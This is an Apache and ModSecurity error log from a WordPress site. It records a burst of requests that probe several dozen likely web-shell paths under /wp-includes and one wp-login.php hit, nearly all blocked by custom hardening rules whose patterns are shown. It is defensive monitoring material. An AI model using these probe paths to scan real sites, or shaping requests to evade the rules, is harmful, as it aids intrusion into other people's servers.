[Tue Feb 24 02:43:24.604247 2026] [:error] [pid 29291:tid 29396] [client 37.140.254.116:61047] [client 37.140.254.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aZyfzD2gdpbMAXIIRb1-8gAAAIk"]
[Tue Feb 24 02:43:25.552670 2026] [:error] [pid 60063:tid 60086] [client 37.140.254.170:51285] [client 37.140.254.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aZyfzU_6t1uQomVVdUOIDgAAARU"]
[Tue Feb 24 02:43:26.744212 2026] [:error] [pid 60063:tid 60080] [client 37.140.254.121:28233] [client 37.140.254.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aZyfzk_6t1uQomVVdUOIFQAAAQ8"]
[Tue Feb 24 02:43:28.366140 2026] [:error] [pid 60063:tid 60080] [client 37.140.254.150:60541] [client 37.140.254.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aZyf0E_6t1uQomVVdUOIIAAAAQ8"]
[Tue Feb 24 02:43:28.932098 2026] [:error] [pid 29291:tid 29402] [client 37.140.254.159:33667] [client 37.140.254.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aZyf0D2gdpbMAXIIRb1-8wAAAI4"]
[Tue Feb 24 02:43:31.203303 2026] [:error] [pid 29291:tid 29392] [client 37.140.254.138:32653] [client 37.140.254.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aZyf0z2gdpbMAXIIRb1_AAAAAIU"]
[Tue Feb 24 02:43:32.288702 2026] [:error] [pid 29291:tid 29399] [client 37.140.254.178:33987] [client 37.140.254.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aZyf1D2gdpbMAXIIRb1_BQAAAIw"]
[Tue Feb 24 02:43:33.740236 2026] [:error] [pid 29424:tid 29436] [client 37.140.254.175:20933] [client 37.140.254.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aZyf1fgElGDq6B8YX7B4OQAAAMo"]
[Tue Feb 24 02:43:35.343095 2026] [:error] [pid 29424:tid 29441] [client 37.140.254.158:32139] [client 37.140.254.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aZyf1_gElGDq6B8YX7B4cAAAAM8"]
[Tue Feb 24 02:43:36.597008 2026] [:error] [pid 60063:tid 60086] [client 37.140.254.175:38145] [client 37.140.254.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aZyf2E_6t1uQomVVdUOIdQAAARU"]
[Tue Feb 24 02:43:38.141146 2026] [:error] [pid 60063:tid 60066] [client 37.140.254.121:45931] [client 37.140.254.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aZyf2k_6t1uQomVVdUOIfwAAAQE"]
[Tue Feb 24 02:43:40.863363 2026] [:error] [pid 29291:tid 29407] [client 37.140.254.175:21381] [client 37.140.254.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aZyf3D2gdpbMAXIIRb1_FwAAAJM"]
[Tue Feb 24 02:43:41.417611 2026] [:error] [pid 60063:tid 60087] [client 37.140.254.157:64425] [client 37.140.254.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aZyf3U_6t1uQomVVdUOIiAAAARY"]
[Tue Feb 24 02:43:42.037667 2026] [:error] [pid 29290:tid 29381] [client 37.140.254.119:49413] [client 37.140.254.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aZyf3iURJ6Xg7pEW8XYn_gAAAFc"]
[Tue Feb 24 02:43:42.583956 2026] [:error] [pid 29424:tid 29443] [client 37.140.254.134:36963] [client 37.140.254.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aZyf3vgElGDq6B8YX7B4ygAAANE"]
[Tue Feb 24 02:43:43.422158 2026] [:error] [pid 29290:tid 29375] [client 37.140.254.135:47715] [client 37.140.254.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aZyf3yURJ6Xg7pEW8XYoAAAAAFE"]
[Tue Feb 24 02:43:43.969691 2026] [:error] [pid 29424:tid 29447] [client 37.140.254.132:54071] [client 37.140.254.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aZyf3_gElGDq6B8YX7B4zgAAANU"]
[Tue Feb 24 02:43:45.267358 2026] [:error] [pid 60063:tid 60086] [client 37.140.254.119:23061] [client 37.140.254.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aZyf4U_6t1uQomVVdUOIkAAAARU"]
[Tue Feb 24 02:43:45.955148 2026] [:error] [pid 29291:tid 29387] [client 37.140.254.135:31279] [client 37.140.254.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aZyf4T2gdpbMAXIIRb1_HgAAAIA"]
[Tue Feb 24 02:43:46.579139 2026] [:error] [pid 29290:tid 29380] [client 37.140.254.235:34875] [client 37.140.254.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aZyf4iURJ6Xg7pEW8XYoAgAAAFY"]
[Tue Feb 24 02:43:47.195465 2026] [:error] [pid 29290:tid 29359] [client 37.140.254.141:63809] [client 37.140.254.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aZyf4yURJ6Xg7pEW8XYoBAAAAEM"]
[Tue Feb 24 02:43:48.064193 2026] [:error] [pid 29290:tid 29376] [client 37.140.254.146:30101] [client 37.140.254.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aZyf5CURJ6Xg7pEW8XYoBgAAAFI"]
[Tue Feb 24 02:43:49.221955 2026] [:error] [pid 29424:tid 29450] [client 37.140.254.132:27385] [client 37.140.254.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aZyf5fgElGDq6B8YX7B41AAAANg"]
[Tue Feb 24 02:43:50.987498 2026] [:error] [pid 60063:tid 60080] [client 37.140.254.164:49185] [client 37.140.254.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aZyf5k_6t1uQomVVdUOIqAAAAQ8"]
[Tue Feb 24 02:43:53.908047 2026] [:error] [pid 29424:tid 29450] [client 37.140.254.135:25023] [client 37.140.254.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aZyf6fgElGDq6B8YX7B45QAAANg"]
[Tue Feb 24 02:43:55.443854 2026] [:error] [pid 60063:tid 60087] [client 37.140.254.164:42847] [client 37.140.254.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aZyf60_6t1uQomVVdUOItAAAARY"]
[Tue Feb 24 02:43:56.044113 2026] [:error] [pid 60063:tid 60085] [client 37.140.254.131:54673] [client 37.140.254.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aZyf7E_6t1uQomVVdUOIugAAARQ"]
[Tue Feb 24 02:43:58.017595 2026] [:error] [pid 29291:tid 29413] [client 37.140.254.161:55119] [client 37.140.254.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aZyf7j2gdpbMAXIIRb1_LgAAAJg"]
[Tue Feb 24 02:43:59.656560 2026] [proxy_fcgi:error] [pid 29291:tid 29392] [client 37.140.254.138:47203] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 02:43:59.955768 2026] [proxy_fcgi:error] [pid 29291:tid 29389] [client 37.140.254.138:47203] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 02:44:00.252835 2026] [proxy_fcgi:error] [pid 29291:tid 29398] [client 37.140.254.138:47203] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 02:44:01.981837 2026] [:error] [pid 29291:tid 29404] [client 37.140.254.138:47203] [client 37.140.254.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aZyf8T2gdpbMAXIIRb1_OgAAAJA"]
[Tue Feb 24 02:44:02.640515 2026] [:error] [pid 60063:tid 60072] [client 37.140.254.151:63877] [client 37.140.254.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aZyf8k_6t1uQomVVdUOIwwAAAQc"]
[Tue Feb 24 02:44:03.271557 2026] [:error] [pid 60063:tid 60077] [client 37.140.254.148:38029] [client 37.140.254.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aZyf80_6t1uQomVVdUOIxwAAAQw"]
[Tue Feb 24 02:44:03.906968 2026] [:error] [pid 60063:tid 60066] [client 37.140.254.174:23127] [client 37.140.254.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aZyf80_6t1uQomVVdUOIywAAAQE"]
[Tue Feb 24 02:44:04.535563 2026] [:error] [pid 60063:tid 60069] [client 37.140.254.235:56577] [client 37.140.254.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aZyf9E_6t1uQomVVdUOIzQAAAQQ"]
[Tue Feb 24 02:44:05.147516 2026] [:error] [pid 60063:tid 60072] [client 37.140.254.114:21543] [client 37.140.254.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aZyf9U_6t1uQomVVdUOIzwAAAQc"]
[Tue Feb 24 02:44:06.155329 2026] [:error] [pid 60063:tid 60076] [client 37.140.254.166:45069] [client 37.140.254.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aZyf9k_6t1uQomVVdUOI1AAAAQs"]
[Tue Feb 24 02:44:06.736718 2026] [:error] [pid 60063:tid 60066] [client 37.140.254.146:51577] [client 37.140.254.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aZyf9k_6t1uQomVVdUOI1gAAAQE"]
[Tue Feb 24 02:44:07.283623 2026] [:error] [pid 60063:tid 60068] [client 37.140.254.113:46651] [client 37.140.254.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aZyf90_6t1uQomVVdUOI2QAAAQM"]
[Tue Feb 24 02:44:07.823539 2026] [:error] [pid 60063:tid 60069] [client 37.140.254.157:37797] [client 37.140.254.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aZyf90_6t1uQomVVdUOI2gAAAQQ"]
[Tue Feb 24 02:44:09.021804 2026] [:error] [pid 60063:tid 60066] [client 37.140.254.114:42243] [client 37.140.254.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aZyf-U_6t1uQomVVdUOI4QAAAQE"]
[Tue Feb 24 02:44:09.888944 2026] [:error] [pid 60063:tid 60069] [client 37.140.254.158:22263] [client 37.140.254.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aZyf-U_6t1uQomVVdUOI5QAAAQQ"]
[Tue Feb 24 02:44:11.190697 2026] [:error] [pid 60063:tid 60068] [client 37.140.254.161:49083] [client 37.140.254.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aZyf-0_6t1uQomVVdUOI7gAAAQM"]
[Tue Feb 24 02:44:12.369261 2026] [:error] [pid 60063:tid 60076] [client 37.140.254.235:53831] [client 37.140.254.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aZyf_E_6t1uQomVVdUOI9gAAAQs"]
[Tue Feb 24 02:44:13.799143 2026] [:error] [pid 60063:tid 60087] [client 37.140.254.166:54971] [client 37.140.254.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aZyf_U_6t1uQomVVdUOJAgAAARY"]
[Tue Feb 24 02:44:17.134612 2026] [:error] [pid 29290:tid 29369] [client 37.140.254.174:45001] [client 37.140.254.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aZygASURJ6Xg7pEW8XYoIAAAAEs"]
[Tue Feb 24 02:44:18.089144 2026] [:error] [pid 60063:tid 60082] [client 37.140.254.158:47879] [client 37.140.254.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aZygAk_6t1uQomVVdUOJEAAAARE"]
[Tue Feb 24 02:44:23.674278 2026] [:error] [pid 60063:tid 60083] [client 37.140.254.146:57055] [client 37.140.254.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aZygB0_6t1uQomVVdUOJNgAAARI"]
[Tue Feb 24 02:44:24.272594 2026] [:error] [pid 60063:tid 60066] [client 37.140.254.161:23853] [client 37.140.254.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aZygCE_6t1uQomVVdUOJOQAAAQE"]
[Tue Feb 24 02:44:24.921011 2026] [:error] [pid 29424:tid 29447] [client 37.140.254.153:51627] [client 37.140.254.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.254.153, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aZygCPgElGDq6B8YX7B5MQAAANU"]
[Tue Feb 24 02:44:25.517342 2026] [:error] [pid 29424:tid 29428] [client 37.140.254.153:51627] [client 37.140.254.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aZygCfgElGDq6B8YX7B5MwAAAMI"]
[Tue Feb 24 02:44:27.881969 2026] [:error] [pid 29291:tid 29410] [client 37.140.254.139:42643] [client 37.140.254.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aZygCz2gdpbMAXIIRb1_UwAAAJY"]
[Tue Feb 24 02:44:28.866231 2026] [:error] [pid 29424:tid 29436] [client 37.140.254.175:63013] [client 37.140.254.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aZygDPgElGDq6B8YX7B5RgAAAMo"]
